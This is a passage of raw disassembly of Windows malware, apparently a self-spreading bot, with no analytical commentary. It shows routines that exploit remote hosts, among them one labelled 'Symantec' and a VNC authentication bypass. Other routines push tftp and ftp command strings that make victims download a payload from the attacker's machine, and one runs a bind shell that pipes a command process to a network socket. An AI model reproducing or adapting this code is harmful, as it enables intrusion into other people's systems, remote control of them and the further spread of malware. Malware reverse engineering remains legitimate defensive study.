"[%s]: Exploiting IP: %s." push eax call sub_41C266 add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_40E268 push ebx lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 add esp, 14h loc_40E268: ; CODE XREF: .packed:0040E249j lea eax, [ebp-234h] push eax call sub_415D38 mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E28A: ; CODE XREF: .packed:0040E21Aj push 1 pop eax loc_40E28D: ; CODE XREF: .packed:0040E1CCj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4CBA14 ; inet_addr mov [ebp+var_C], eax mov ax, word_433290 push eax call dword_4CB9D4 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_4CBA54 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E3CA lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jz loc_40E3CA push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC ; recv mov edi, offset byte_429108 push edi push edi push [ebp+arg_0] call sub_40AA06 pop ecx mov esi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 18h push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E3CA push 1F4h call dword_427080 ; Sleep push edi push offset dword_42A2E8 lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E3CE loc_40E3CA: ; CODE XREF: sub_40E292+51j ; sub_40E292+67j ... xor al, al jmp short loc_40E3EC ; --------------------------------------------------------------------------- loc_40E3CE: ; CODE XREF: sub_40E292+136j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC ; recv push ebx call dword_4CBA6C ; closesocket mov al, 1 loc_40E3EC: ; CODE XREF: sub_40E292+13Aj pop edi pop esi pop ebx leave retn sub_40E292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3F1 proc near ; CODE XREF: .packed:0040E946p ; .packed:0040E968p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_41C500 mov eax, dword_43341C push ebx mov [ebp+var_10], eax mov eax, dword_433420 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_433410 push eax call sub_41C266 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40E430: ; CODE XREF: sub_40E3F1+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40E430 push 60h lea eax, [ebp+var_B4] push offset dword_432EA0 push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_41CD20 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_0+3) push eax call sub_41B9C0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_41CD20 mov ax, word_433290 add esp, 2Ch push eax call dword_4CB9D4 ; htons xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_432BA0 call sub_41CD20 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_40E5ED mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_41BF70 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4332D0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_41CD20 mov esi, offset loc_432AF0 push esi call sub_41B9C0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_41CD20 push 4 lea eax, [ebp+var_11AC] push offset loc_433408 push eax call sub_41CD20 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_41CD20 add esp, 40h push esi call sub_41B9C0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_41CD20 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_40E5A6 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_41BF70 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_41BF70 add esp, 18h jmp short loc_40E644 ; --------------------------------------------------------------------------- loc_40E5ED: ; CODE XREF: sub_40E3F1+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_41BF70 mov esi, offset loc_432AF0 push esi call sub_41B9C0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_41CD20 lea eax, [ebp+var_10] push eax call sub_41B9C0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_41CD20 mov eax, dword_4332D0 add esp, 2Ch mov [ebp+var_768], eax loc_40E644: ; CODE XREF: sub_40E3F1+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_41BF70 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E683 loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j ; sub_40E3F1+2E0j ... xor al, al jmp loc_40E82B ; --------------------------------------------------------------------------- loc_40E683: ; CODE XREF: sub_40E3F1+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC ; recv push ebx push 68h push offset dword_432F04 push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC ; recv push ebx push 0A0h push offset dword_432F70 push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC ; recv cmp [ebp+arg_C0], ebx jz loc_40E799 push 68h lea eax, [ebp+var_89B4] push offset dword_433128 push eax call sub_41CD20 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_41CD20 push 70h lea eax, [ebp+var_68DC] push offset dword_433194 push eax call sub_41CD20 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_41CD20 push 84h lea eax, [ebp+var_5DA8] push offset dword_433208 push eax call sub_41CD20 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC ; recv push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_40E7EF ; --------------------------------------------------------------------------- loc_40E799: ; CODE XREF: sub_40E3F1+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_433014 push eax call sub_41CD20 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_41CD20 push 90h lea eax, [ebp+var_245C] push offset off_433094 push eax call sub_41CD20 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j push eax push edi call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz loc_40E67C push 12Ch call dword_427080 ; Sleep sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E292 add esp, 0BCh test al, al setnz al loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj pop edi pop esi pop ebx leave retn sub_40E3F1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_41BF70 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_4CBA14 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_4CB9D4 ; htons push 6 push 1 push 2 mov [ebp-12h], ax call dword_4CBA54 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E929 lea eax, [ebp-14h] push 10h push eax push ebx call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jz loc_40E929 push edi push 89h push offset dword_432C88 push ebx call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E929 mov esi, 640h push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC ; recv push edi push 0A8h push offset dword_432D14 push ebx call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC ; recv push edi push 0DEh push offset dword_432DC0 push ebx call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC ; recv movsx eax, byte ptr [ebp-810h] sub eax, 30h jz short loc_40E933 dec eax jz short loc_40E930 loc_40E929: ; CODE XREF: .packed:0040E884j ; .packed:0040E89Aj ... xor eax, eax jmp loc_40E9F6 ; --------------------------------------------------------------------------- loc_40E930: ; CODE XREF: .packed:0040E927j push edi jmp short loc_40E957 ; --------------------------------------------------------------------------- loc_40E933: ; CODE XREF: .packed:0040E924j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jnz short loc_40E977 push 1 loc_40E957: ; CODE XREF: .packed:0040E931j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jz short loc_40E97E loc_40E977: ; CODE XREF: .packed:0040E953j mov dword ptr [ebp-4], 1 loc_40E97E: ; CODE XREF: .packed:0040E975j push ebx call dword_4CBA6C ; closesocket cmp dword ptr [ebp-4], 0 jz short loc_40E9F3 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-214h] push 200h push eax call sub_41C360 push 0 lea eax, [ebp-214h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-214h] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 2Ch shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E9F3: ; CODE XREF: .packed:0040E989j push 1 pop eax loc_40E9F6: ; CODE XREF: .packed:0040E92Bj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4271F0 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_4271F4 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_427204 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EAC9 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4271F8 ; connect cmp eax, 0FFFFFFFFh jz short loc_40EAC9 mov edi, 400h push esi mov esi, dword_4271FC lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_427208 ; send cmp eax, 0FFFFFFFFh jnz short loc_40EACD loc_40EAC9: ; CODE XREF: sub_40E9FB+50j ; sub_40E9FB+62j xor eax, eax jmp short loc_40EAE4 ; --------------------------------------------------------------------------- loc_40EACD: ; CODE XREF: sub_40E9FB+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call dword_427200 ; closesocket push 1 pop eax loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j pop edi pop esi pop ebx leave retn sub_40E9FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp ; DATA XREF: .packed:off_4317FCo var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CBA14 ; inet_addr push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB9D4 ; htons push 6 push 1 push 2 mov [ebp+var_E], ax call dword_427204 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EB5B lea eax, [ebp+var_10] push 10h push eax push esi call dword_4271F8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40EB3C push esi jmp short loc_40EB55 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej push 0 push 1213h push offset dword_433424 push esi call dword_427208 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40EB5F loc_40EB55: ; CODE XREF: sub_40EAE9+51j call dword_427200 ; closesocket loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj xor eax, eax jmp short loc_40EBA1 ; --------------------------------------------------------------------------- loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj call dword_427200 ; closesocket push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E9FB add esp, 0C0h test eax, eax jz short loc_40EB9E mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej push 1 pop eax loc_40EBA1: ; CODE XREF: sub_40EAE9+74j pop edi pop esi leave retn sub_40EAE9 endp ; =============== S U B R O U T I N E ======================================= sub_40EBA5 proc near ; CODE XREF: .packed:0040EC93p ; .packed:0040ECF5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj test edi, edi jle short loc_40EBD8 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB9EC ; recv test eax, eax jz short loc_40EBD4 cmp eax, 0FFFFFFFFh jz short loc_40EBD4 sub edi, eax add esi, eax jmp short loc_40EBAD ; --------------------------------------------------------------------------- loc_40EBD4: ; CODE XREF: sub_40EBA5+22j ; sub_40EBA5+27j xor eax, eax jmp short loc_40EBDB ; --------------------------------------------------------------------------- loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj push 1 pop eax loc_40EBDB: ; CODE XREF: sub_40EBA5+31j pop edi pop esi retn sub_40EBA5 endp ; =============== S U B R O U T I N E ======================================= sub_40EBDE proc near ; CODE XREF: .packed:0040ECDFp ; .packed:0040ED0Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EC1B xor esi, esi test edi, edi jle short loc_40EC15 loc_40EBEE: ; CODE XREF: sub_40EBDE+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_40EC1B test eax, eax jz short loc_40EC1B add esi, eax cmp esi, edi jl short loc_40EBEE loc_40EC15: ; CODE XREF: sub_40EBDE+Ej push 1 pop eax loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EC1B: ; CODE XREF: sub_40EBDE+8j ; sub_40EBDE+2Bj ... xor eax, eax jmp short loc_40EC18 sub_40EBDE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_4346DC push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CBA54 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40EC4D push eax jmp short loc_40EC81 ; --------------------------------------------------------------------------- loc_40EC4D: ; CODE XREF: .packed:0040EC48j lea eax, [ebp+0Ch] push eax call dword_4CBA14 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB9D4 ; htons mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jnz short loc_40EC8C push ebx loc_40EC81: ; CODE XREF: .packed:0040EC4Bj call dword_4CBA6C ; closesocket jmp loc_40EE87 ; --------------------------------------------------------------------------- loc_40EC8C: ; CODE XREF: .packed:0040EC7Ej lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41CCE3 add esp, 10h cmp eax, esi jnz loc_40EE80 cmp dword ptr [ebp-28h], 3 jz short loc_40ECD8 cmp dword ptr [ebp-20h], 8 jnz loc_40EE80 loc_40ECD8: ; CODE XREF: .packed:0040ECCCj lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-2] push 1 push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40EE80 push 1 push offset word_4CB88C push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41D9A5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40EE10 push edi push esi push ebx call sub_40EBA5 add esp, 0Ch loc_40EE10: ; CODE XREF: .packed:0040EE03j and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-24Ch] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431800[eax] push ebx lea eax, dword_431800[eax] call dword_427200 ; closesocket push 1 pop eax jmp short loc_40EE89 ; --------------------------------------------------------------------------- loc_40EE80: ; CODE XREF: .packed:0040EC9Dj ; .packed:0040ECC2j ... push ebx call dword_427200 ; closesocket loc_40EE87: ; CODE XREF: .packed:0040EC87j xor eax, eax loc_40EE89: ; CODE XREF: .packed:0040EE7Ej pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EE8E proc near ; DATA XREF: sub_40EF1C+15Bo var_404 = byte ptr -404h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40EE97: ; CODE XREF: sub_40EE8E+25j ; sub_40EE8E+41j push 0 lea eax, [ebp+var_404] push 400h push eax push dword_4CE708 call dword_4CB9EC ; recv test eax, eax jle short loc_40EE97 lea ecx, [ebp+var_4] push 0 push ecx push eax lea eax, [ebp+var_404] push eax push dword_4CE704 call dword_4270F0 ; WriteFile jmp short loc_40EE97 sub_40EE8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EED1 proc near ; DATA XREF: sub_40EF1C+142o var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40EEDA: ; CODE XREF: sub_40EED1+2Fj ; sub_40EED1+49j lea eax, [ebp+var_4] and [ebp+var_4], 0 push 0 push eax lea eax, [ebp+var_404] push 400h push eax push dword_4CE6F8 call dword_4270EC ; ReadFile cmp [ebp+var_4], 0 jle short loc_40EEDA push 0 lea eax, [ebp+var_404] push [ebp+var_4] push eax push dword_4CE708 call dword_4CBA24 ; send jmp short loc_40EEDA sub_40EED1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EF1C proc near ; DATA XREF: sub_401ACD+2CCAo var_11C = byte ptr -11Ch var_98 = dword ptr -98h var_7C = dword ptr -7Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = word ptr -38h var_36 = word ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 28h mov esi, eax pop ecx lea edi, [ebp+var_11C] rep movsd push 1 xor edi, edi pop esi mov [eax+98h], esi push 10h lea eax, [ebp+var_38] push edi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_38], 2 push [ebp+var_98] call dword_4CB9D4 ; htons push 6 push esi push 2 mov [ebp+var_36], ax call dword_4CBA54 ; socket mov [ebp+arg_0], eax lea eax, [ebp+var_38] push 10h push eax push [ebp+arg_0] call dword_4CBA00 ; bind push 5 push [ebp+arg_0] call dword_4CB9FC ; listen mov ebx, dword_427108 mov esi, dword_427070 loc_40EF9C: ; CODE XREF: sub_40EF1C+1CBj push edi push edi push [ebp+arg_0] call dword_4CBA68 ; accept mov dword_4CE708, eax lea eax, [ebp+var_C] push edi push eax push offset dword_4CE704 push offset dword_4CE700 mov [ebp+var_C], 0Ch mov [ebp+var_4], 1 mov [ebp+var_8], edi call ebx ; CreatePipe lea eax, [ebp+var_C] push edi push eax push offset dword_4CE6FC push offset dword_4CE6F8 call ebx ; CreatePipe push 44h lea eax, [ebp+var_7C] push edi push eax call sub_41BF70 mov eax, dword_4CE700 add esp, 0Ch mov [ebp+var_44], eax mov eax, dword_4CE6FC mov [ebp+var_40], eax push edi push 1 lea eax, [ebp+var_3C] push 2 push eax mov [ebp+var_7C], 44h mov [ebp+var_50], 101h mov [ebp+var_4C], di call dword_427104 ; GetCurrentProcess push eax push dword_4CE6FC call dword_427104 ; GetCurrentProcess push eax call dword_427100 ; DuplicateHandle lea eax, [ebp+var_28] push eax lea eax, [ebp+var_7C] push eax push edi push edi push 4000090h lea eax, [ebp+var_C] push 1 push eax lea eax, [ebp+var_C] push eax push offset dword_4346E0 push edi call dword_427074 ; CreateProcessA lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40EED1 lea eax, [ebp+var_C] push edi push eax call dword_427084 ; CreateThread mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40EE8E lea eax, [ebp+var_C] push edi push eax call dword_427084 ; CreateThread push 0FFFFFFFFh mov [ebp+var_10], eax push [ebp+var_28] call dword_4270A8 ; WaitForSingleObject push edi push [ebp+var_10] call dword_4270B4 ; TerminateThread push edi push [ebp+var_14] call dword_4270B4 ; TerminateThread push [ebp+var_10] call esi ; CloseHandle push [ebp+var_14] call esi ; CloseHandle push edi push [ebp+var_28] call dword_4270FC ; TerminateProcess push dword_4CE700 call esi ; CloseHandle push dword_4CE704 call esi ; CloseHandle push dword_4CE6F8 call esi ; CloseHandle push dword_4CE6FC call esi ; CloseHandle push [ebp+var_24] call esi ; CloseHandle push [ebp+var_28] call esi ; CloseHandle jmp loc_40EF9C sub_40EF1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40F0EC proc near ; DATA XREF: .packed:0042900Co jmp $+5 sub_40F0EC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F0F1 proc near push 0FFFEh push 400h call sub_418BD1 pop ecx mov dword_4CE710, eax pop ecx retn sub_40F0F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F108 proc near ; DATA XREF: sub_40BD91+34Do var_6C0 = byte ptr -6C0h var_2C0 = byte ptr -2C0h var_C0 = byte ptr -0C0h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6C0h mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov 